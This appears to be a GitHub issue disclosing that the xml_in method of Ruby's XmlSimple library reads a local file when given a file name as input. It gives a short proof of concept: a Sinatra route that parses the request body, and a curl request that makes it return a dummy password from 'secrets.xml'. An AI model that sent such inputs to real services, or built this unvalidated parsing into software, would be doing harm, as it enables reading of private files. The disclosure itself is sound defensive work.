-
Notifications
You must be signed in to change notification settings - Fork 27
Open
Description
The method xml_in can be used to read system files in XML format instead of the expected user input.
Proof of Concept
Lets suppose we have in Sinatra the following code:
require 'sinatra'
require 'xmlsimple'
require 'json'
post '/echo_xml' do
parser = XmlSimple.new
data = parser.xml_in(request.body.read, {})
JSON.pretty_generate(data)
endIf we do:
➜ curl http://localhost:4567/echo_xml -X POST --data "<a>hello</a>"
"hello"%And lets suppose that we also have a file in the same directory named "secrets.xml", with the following content:
<password>S3CR3T</passwordIf we do:
➜ curl http://localhost:4567/echo_xml -X POST --data "secrets.xml"
"S3CR3T"%It is very easy to forget to validate the input, causing potential vulnerabilities when parsing input received by the clients.
Metadata
Metadata
Assignees
Labels
No labels